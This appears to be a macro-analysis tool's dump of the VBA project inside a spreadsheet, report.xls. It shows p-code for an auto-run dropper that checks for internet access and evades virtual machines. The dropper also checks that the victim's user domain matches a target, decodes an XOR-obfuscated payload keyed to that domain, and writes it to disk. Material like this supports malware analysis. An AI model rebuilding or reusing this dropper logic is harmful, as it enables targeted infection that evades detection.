Processing file: report.xls =============================================================================== dir stream: _VBA_PROJECT_CUR/VBA/dir ------------------------------------------------------------------------------- dir stream after decompression: 1257 bytes dir stream parsed: 00000000: PROJ_SYSKIND: 00000000 01 00 00 00 .... 0000000A: PROJ_LCID: 00000000 09 04 00 00 .... 00000014: PROJ_LCIDINVOKE: 00000000 09 04 00 00 .... 0000001E: PROJ_CODEPAGE: 00000000 E4 04 .. 00000026: PROJ_NAME: 00000000 56 42 41 50 72 6F 6A 65 63 74 VBAProject 00000036: PROJ_DOCSTRING 0000003C: PROJ_UNICODE_DOCSTRING 00000042: PROJ_HELPFILE 00000048: PROJ_UNICODE_HELPFILE 0000004E: PROJ_HELPCONTEXT: 00000000 00 00 00 00 .... 00000058: PROJ_LIBFLAGS: 00000000 00 00 00 00 .... 00000062: PROJ_VERSION: 00000000 93 5A 08 61 2D 00 .Z.a-. 0000006E: PROJ_CONSTANTS 00000074: PROJ_UNICODE_CONSTANTS 0000007A: PROJ_REFNAME_PROJ: 00000000 73 74 64 6F 6C 65 stdole 00000086: PROJ_UNICODE_REFNAME_PROJ: 00000000 73 00 74 00 64 00 6F 00 6C 00 65 00 s.t.d.o.l.e. 00000098: PROJ_LIBID_REGISTERED: 00000000 5E 00 00 00 2A 5C 47 7B 30 30 30 32 30 34 33 30 ^...*\G{00020430 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 43 30 30 30 2D -0000-0000-C000- 00000020 30 30 30 30 30 30 30 30 30 30 34 36 7D 23 32 2E 000000000046}#2. 00000030 30 23 30 23 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 0#0#C:\Windows\S 00000040 79 73 57 4F 57 36 34 5C 73 74 64 6F 6C 65 32 2E ysWOW64\stdole2. 00000050 74 6C 62 23 4F 4C 45 20 41 75 74 6F 6D 61 74 69 tlb#OLE Automati 00000060 6F 6E 00 00 00 00 00 00 on...... 00000106: PROJ_REFNAME_PROJ: 00000000 4F 66 66 69 63 65 Office 00000112: PROJ_UNICODE_REFNAME_PROJ: 00000000 4F 00 66 00 66 00 69 00 63 00 65 00 O.f.f.i.c.e. 00000124: PROJ_LIBID_REGISTERED: 00000000 9A 00 00 00 2A 5C 47 7B 32 44 46 38 44 30 34 43 ....*\G{2DF8D04C 00000010 2D 35 42 46 41 2D 31 30 31 42 2D 42 44 45 35 2D -5BFA-101B-BDE5- 00000020 30 30 41 41 30 30 34 34 44 45 35 32 7D 23 32 2E 00AA0044DE52}#2. 00000030 30 23 30 23 43 3A 5C 50 72 6F 67 72 61 6D 20 46 0#0#C:\Program F 00000040 69 6C 65 73 20 28 78 38 36 29 5C 43 6F 6D 6D 6F iles (x86)\Commo 00000050 6E 20 46 69 6C 65 73 5C 4D 69 63 72 6F 73 6F 66 n Files\Microsof 00000060 74 20 53 68 61 72 65 64 5C 4F 46 46 49 43 45 31 t Shared\OFFICE1 00000070 36 5C 4D 53 4F 2E 44 4C 4C 23 4D 69 63 72 6F 73 6\MSO.DLL#Micros 00000080 6F 66 74 20 4F 66 66 69 63 65 20 31 36 2E 30 20 oft Office 16.0 00000090 4F 62 6A 65 63 74 20 4C 69 62 72 61 72 79 00 00 Object Library.. 000000A0 00 00 00 00 .... 000001CE: PROJ_REFNAME_PROJ: 00000000 4D 53 46 6F 72 6D 73 MSForms 000001DB: PROJ_UNICODE_REFNAME_PROJ: 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s. 000001EF: UNKNOWN: 00000000 2A 5C 47 7B 30 44 34 35 32 45 45 31 2D 45 30 38 *\G{0D452EE1-E08 00000010 46 2D 31 30 31 41 2D 38 35 32 45 2D 30 32 36 30 F-101A-852E-0260 00000020 38 43 34 44 30 42 42 34 7D 23 32 2E 30 23 30 23 8C4D0BB4}#2.0#0# 00000030 43 3A 5C 57 49 4E 44 4F 57 53 5C 53 79 73 57 4F C:\WINDOWS\SysWO 00000040 57 36 34 5C 46 4D 32 30 2E 44 4C 4C 23 4D 69 63 W64\FM20.DLL#Mic 00000050 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 32 2E 30 rosoft Forms 2.0 00000060 20 4F 62 6A 65 63 74 20 4C 69 62 72 61 72 79 Object Library 00000264: PROJ_LIBID_TWIDDLED: 00000000 31 00 00 00 2A 5C 47 7B 30 30 30 30 30 30 30 30 1...*\G{00000000 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 30 30 30 30 2D -0000-0000-0000- 00000020 30 30 30 30 30 30 30 30 30 30 30 30 7D 23 30 2E 000000000000}#0. 00000030 30 23 30 23 23 00 00 00 00 00 00 0#0##...... 000002A5: PROJ_REFNAME_PROJ: 00000000 4D 53 46 6F 72 6D 73 MSForms 000002B2: PROJ_UNICODE_REFNAME_PROJ: 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s. 000002C6: PROJ_LIBID_EXTENDED: 00000000 8D 00 00 00 2A 5C 47 7B 32 31 42 39 39 36 45 39 ....*\G{21B996E9 00000010 2D 33 44 44 44 2D 34 31 34 39 2D 41 32 31 34 2D -3DDD-4149-A214- 00000020 44 36 38 42 42 31 34 35 39 41 35 39 7D 23 32 2E D68BB1459A59}#2. 00000030 30 23 30 23 43 3A 5C 55 73 65 72 73 5C 4D 4F 52 0#0#C:\Users\MOR 00000040 49 54 5A 7E 31 2E 52 41 41 5C 41 70 70 44 61 74 ITZ~1.RAA\AppDat 00000050 61 5C 4C 6F 63 61 6C 5C 54 65 6D 70 5C 31 5C 56 a\Local\Temp\1\V 00000060 42 45 5C 4D 53 46 6F 72 6D 73 2E 65 78 64 23 4D BE\MSForms.exd#M 00000070 69 63 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 32 icrosoft Forms 2 00000080 2E 30 20 4F 62 6A 65 63 74 20 4C 69 62 72 61 72 .0 Object Librar 00000090 79 00 00 00 00 00 00 E1 2E 45 0D 8F E0 1A 10 85 y........E...... 000000A0 2E 02 60 8C 4D 0B B4 01 00 00 00 ..`.M...... 00000377: PROJ_MODULECOUNT: 00000000 03 00 .. 0000037F: PROJ_COOKIE: 00000000 39 33 93 00000387: MOD_NAME: 00000000 54 68 69 73 57 6F 72 6B 62 6F 6F 6B ThisWorkbook 00000399: MOD_UNICODE_NAME: 00000000 54 00 68 00 69 00 73 00 57 00 6F 00 72 00 6B 00 T.h.i.s.W.o.r.k. 00000010 62 00 6F 00 6F 00 6B 00 b.o.o.k. 000003B7: MOD_STREAM: 00000000 54 68 69 73 57 6F 72 6B 62 6F 6F 6B ThisWorkbook 000003C9: MOD_UNICODESTREAM: 00000000 54 00 68 00 69 00 73 00 57 00 6F 00 72 00 6B 00 T.h.i.s.W.o.r.k. 00000010 62 00 6F 00 6F 00 6B 00 b.o.o.k. 000003E7: MOD_DOCSTRING 000003ED: MOD_UNICODE_DOCSTRING 000003F3: MOD_TEXTOFFSET: 00000000 0D 06 00 00 .... 000003FD: MOD_HELPCONTEXT: 00000000 00 00 00 00 .... 00000407: MOD_COOKIETYPE: 00000000 DB 84 .. 0000040F: MOD_FBASMOD_Classes 00000415: MOD_END 0000041B: MOD_NAME: 00000000 53 68 65 65 74 31 Sheet1 00000427: MOD_UNICODE_NAME: 00000000 53 00 68 00 65 00 65 00 74 00 31 00 S.h.e.e.t.1. 00000439: MOD_STREAM: 00000000 53 68 65 65 74 31 Sheet1 00000445: MOD_UNICODESTREAM: 00000000 53 00 68 00 65 00 65 00 74 00 31 00 S.h.e.e.t.1. 00000457: MOD_DOCSTRING 0000045D: MOD_UNICODE_DOCSTRING 00000463: MOD_TEXTOFFSET: 00000000 E2 23 00 00 .#.. 0000046D: MOD_HELPCONTEXT: 00000000 00 00 00 00 .... 00000477: MOD_COOKIETYPE: 00000000 9F F9 .. 0000047F: MOD_FBASMOD_Classes 00000485: MOD_END 0000048B: MOD_NAME: 00000000 46 F 00000492: MOD_UNICODE_NAME: 00000000 46 00 F. 0000049A: MOD_STREAM: 00000000 46 F 000004A1: MOD_UNICODESTREAM: 00000000 46 00 F. 000004A9: MOD_DOCSTRING 000004AF: MOD_UNICODE_DOCSTRING 000004B5: MOD_TEXTOFFSET: 00000000 8E 04 00 00 .... 000004BF: MOD_HELPCONTEXT: 00000000 00 00 00 00 .... 000004C9: MOD_COOKIETYPE: 00000000 98 74 .t 000004D1: MOD_FBASMOD_Classes 000004D7: MOD_FBASMOD_Private 000004DD: MOD_END 000004E3: PROJ_EOF ------------------------------------------------------------------------------- _VBA_PROJECT stream: 4327 bytes Identifiers: 0000: Excel 0001: VBA 0002: Win16 0003: Win32 0004: Win64 0005: Mac 0006: VBA6 0007: VBA7 0008: VBAProject 0009: stdole 000A: Office 000B: MSForms 000C: ThisWorkbook 000D: _Evaluate 000E: Workbook_Open 000F: Sheet1 0010: folderol 0011: Auto_Open 0012: InternetGetConnectedState 0013: dwflags 0014: dwReserved 0015: wininet.dll 0016: mciSendString 0017: lpstrCommand 0018: lpstrReturnString 0019: uReturnLength 001A: hwndCallback 001B: winmm.dll 001C: GetShortPathName 001D: lpszLongPath 001E: lpszShortPath 001F: lBuffer 0020: kernel32 0021: GetInternetConnectedState 0022: rigmarole 0023: es 0024: furphy 0025: c 0026: s 0027: cc 0028: i 0029: Chr 002A: wabbit 002B: fn 002C: onzo 002D: mf 002E: xertz 002F: buff 0030: Split 0031: L 0032: MsgBox 0033: vbCritical 0034: fudgel 0035: GetObject 0036: twattling 0037: ExecQuery 0038: p 0039: pos 003A: LCase 003B: groke 003C: CreateObject 003D: firkin 003E: UserDomain 003F: n 0040: Asc 0041: a 0042: canoodle 0043: T 0044: Environ 0045: panuding 0046: Shapes 0047: AddPicture 0048: panjandrum 0049: ardylo 004A: bibble 004B: quean 004C: cattywampus 004D: kerfuffle 004E: Workbook 004F: Worksheet 0050: UserForm 0051: Caption 0052: _B_var_fudgel 0053: _B_var_twattling 0054: _B_var_p 0055: _B_var_LCase 0056: _B_var_groke 0057: _B_var_firkin 0058: _B_var_n 0059: _B_var_i 005A: _B_str_Mid 005B: _B_var_Chr 005C: _B_var_a 005D: _B_var_Environ 005E: _B_var_panuding 005F: _B_var_Mid _VBA_PROJECT parsing done. ------------------------------------------------------------------------------- Module streams: _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1785 bytes Line #0: FuncDefn (Sub Workbook_Open()) Line #1: Ld Sheet1 ArgsMemCall folderol 0x0000 Line #2: EndSub Line #3: Line #4: FuncDefn (Sub Auto_Open()) Line #5: Ld Sheet1 ArgsMemCall folderol 0x0000 Line #6: EndSub _VBA_PROJECT_CUR/VBA/Sheet1 - 10518 bytes Line #0: LineCont 0x0004 06 00 00 00 FuncDefn (Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef dwflags As Long, ByVal dwReserved As Long) As Long) Line #1: Line #2: LineCont 0x000C 08 00 03 00 10 00 03 00 1A 00 03 00 FuncDefn (Private Declare PtrSafe Function mciSendString Lib "winmm.dll" (ByVal lpstrCommand As String, ByVal lpstrReturnString As , ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long) Line #3: Line #4: LineCont 0x0004 08 00 04 00 FuncDefn (Private Declare Function GetShortPathName Lib "kernel32" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long) Line #5: Line #6: FuncDefn (Public Function GetInternetConnectedState(id_FFFE As Boolean) As Boolean) Line #7: LitDI4 0x0000 0x0000 LitDI4 0x0000 0x0000 ArgsLd InternetGetConnectedState 0x0002 St GetInternetConnectedState Line #8: EndFunc Line #9: Line #10: FuncDefn (Function rigmarole(es As String, id_FFFE As String) As String) Line #11: Dim VarDefn furphy (As String) Line #12: Dim VarDefn c (As Integer) Line #13: Dim VarDefn s (As String) Line #14: Dim VarDefn cc (As Integer) Line #15: LitStr 0x0000 "" St furphy Line #16: StartForVariable Ld i EndForVariable LitDI2 0x0001 Ld es FnLen LitDI2 0x0004 ForStep Line #17: LitStr 0x0002 "&H" Ld es Ld i LitDI2 0x0002 ArgsLd Mid 0x0003 Concat ArgsLd CDec 0x0001 St c Line #18: LitStr 0x0002 "&H" Ld es Ld i LitDI2 0x0002 Add LitDI2 0x0002 ArgsLd Mid 0x0003 Concat ArgsLd CDec 0x0001 St s Line #19: Ld c Ld s Sub St cc Line #20: Ld furphy Ld cc ArgsLd Chr 0x0001 Add St furphy Line #21: StartForVariable Ld i EndForVariable NextVar Line #22: Ld furphy St rigmarole Line #23: EndFunc Line #24: Line #25: FuncDefn (Function folderol(id_FFFE As Variant)) Line #26: Dim VarDefn wabbit (As Byte) Line #27: Dim VarDefn fn (As Integer) BoS 0x0000 Ld FreeFile St fn Line #28: Dim VarDefn onzo (As String) Line #29: Dim VarDefn mf (As String) Line #30: Dim VarDefn xertz (As Variant) Line #31: Dim LitDI2 0x0000 LitDI2 0x0007 VarDefn buff (As Byte) Line #32: Line #33: Ld F MemLd L LitStr 0x0001 "." ArgsLd Split 0x0002 St onzo Line #34: Line #35: Ld GetInternetConnectedState LitVarSpecial (False) Eq IfBlock Line #36: LitStr 0x0025 "Cannot establish Internet connection." Ld vbCritical LitStr 0x0005 "Error" ArgsCall MsgBox 0x0003 Line #37: End Line #38: EndIfBlock Line #39: Line #40: SetStmt LitDI2 0x0007 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ArgsLd GetObject 0x0001 Set fudgel Line #41: SetStmt LitDI2 0x0008 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ParamOmitted LitDI2 0x0030 Ld fudgel ArgsMemLd ExecQuery 0x0003 Set twattling Line #42: StartForVariable Ld p EndForVariable Ld twattling ForEach Line #43: Dim VarDefn pos (As Integer) Line #44: Ld p MemLd Name ArgsLd LCase 0x0001 LitStr 0x0003 "vmw" FnInStr Ld p MemLd Name ArgsLd LCase 0x0001 LitStr 0x0003 "vmt" FnInStr Add Ld p MemLd Name ArgsLd LCase 0x0001 LitDI2 0x0009 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 FnInStr Add St pos Line #45: Ld pos LitDI2 0x0000 Gt IfBlock Line #46: LitDI2 0x0004 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 Ld vbCritical LitDI2 0x0006 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ArgsCall MsgBox 0x0003 Line #47: End Line #48: EndIfBlock Line #49: StartForVariable Next Line #50: Line #51: LitHI2 0x0011 LitHI2 0x0022 LitHI2 0x0033 LitHI2 0x0044 LitHI2 0x0055 LitHI2 0x0066 LitHI2 0x0077 LitHI2 0x0088 LitHI2 0x0099 LitHI2 0x00AA LitHI2 0x00BB LitHI2 0x00CC LitHI2 0x00DD LitHI2 0x00EE ArgsArray Array 0x000E St xertz Line #52: Line #53: SetStmt LitDI2 0x000A ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ArgsLd CreateObject 0x0001 Set groke Line #54: Ld groke MemLd UserDomain St firkin Line #55: Ld firkin LitDI2 0x0003 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 Ne IfBlock Line #56: LitDI2 0x0004 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 Ld vbCritical LitDI2 0x0006 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ArgsCall MsgBox 0x0003 Line #57: End Line #58: EndIfBlock Line #59: Line #60: Ld firkin FnLen St n Line #61: StartForVariable Ld i EndForVariable LitDI2 0x0001 Ld n For Line #62: Ld firkin Ld i LitDI2 0x0001 ArgsLd Mid$ 0x0003 ArgsLd Asc 0x0001 Ld n Ld i Sub ArgsSt buff 0x0001 Line #63: StartForVariable Next Line #64: Line #65: Ld F MemLd T MemLd Text LitDI2 0x0002 LitDI4 0x5C21 0x0004 Ld buff ArgsLd canoodle 0x0004 St wabbit Line #66: LitDI2 0x0000 ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 ArgsLd Environ 0x0001 LitDI2 0x000B ArgsLd onzo 0x0001 ArgsLd rigmarole 0x0001 Concat St mf Line #67: Ld mf Ld fn Sharp LitDefault Open (For Binary Lock Read Write) Line #68: Ld fn Sharp LitDefault Ld wabbit PutRec Line #69: Ld fn Sharp Close 0x0001 Line #70: Line #71: SetStmt Ld mf LitVarSpecial (False) LitVarSpecial (True) LitDI2 0x000C LitDI2 0x0016 LitDI2 0x0258 LitDI2 0x0136 Ld Sheet1 MemLd Shapes ArgsMemLd AddPicture 0x0007 Set panuding Line #72: EndFunc Line #73: Line #74: FuncDefn (Function canoodle(panjandrum As String, ardylo As Integer, s As Long, bibble As Variant, id_FFFE As ) As Append) Line #75: Dim VarDefn quean (As Long) Line #76: Dim VarDefn cattywampus (As Long) Line #77: Dim VarDefn kerfuffle (As Byte) Line #78: OptionBase Ld s Redim kerfuffle 0x0001 (As Variant) Line #79: LitDI2 0x0000 St quean Line #80: StartForVariable Ld cattywampus EndForVariable LitDI2 0x0001 Ld panjandrum FnLen LitDI2 0x0004 ForStep Line #81: LitStr 0x0002 "&H" Ld panjandrum Ld cattywampus Ld ardylo Add LitDI2 0x0002 ArgsLd Mid 0x0003 Concat Coerce (Byte) Ld quean Ld bibble FnUBound 0x0000 LitDI2 0x0001 Add Paren Mod ArgsLd bibble 0x0001 Xor Ld quean ArgsSt kerfuffle 0x0001 Line #82: Ld quean LitDI2 0x0001 Add St quean Line #83: Ld quean Ld kerfuffle FnUBound 0x0000 Eq IfBlock Line #84: ExitFor Line #85: EndIfBlock Line #86: StartForVariable Ld cattywampus EndForVariable NextVar Line #87: Ld kerfuffle St canoodle Line #88: EndFunc Line #89: _VBA_PROJECT_CUR/VBA/F - 1388 bytes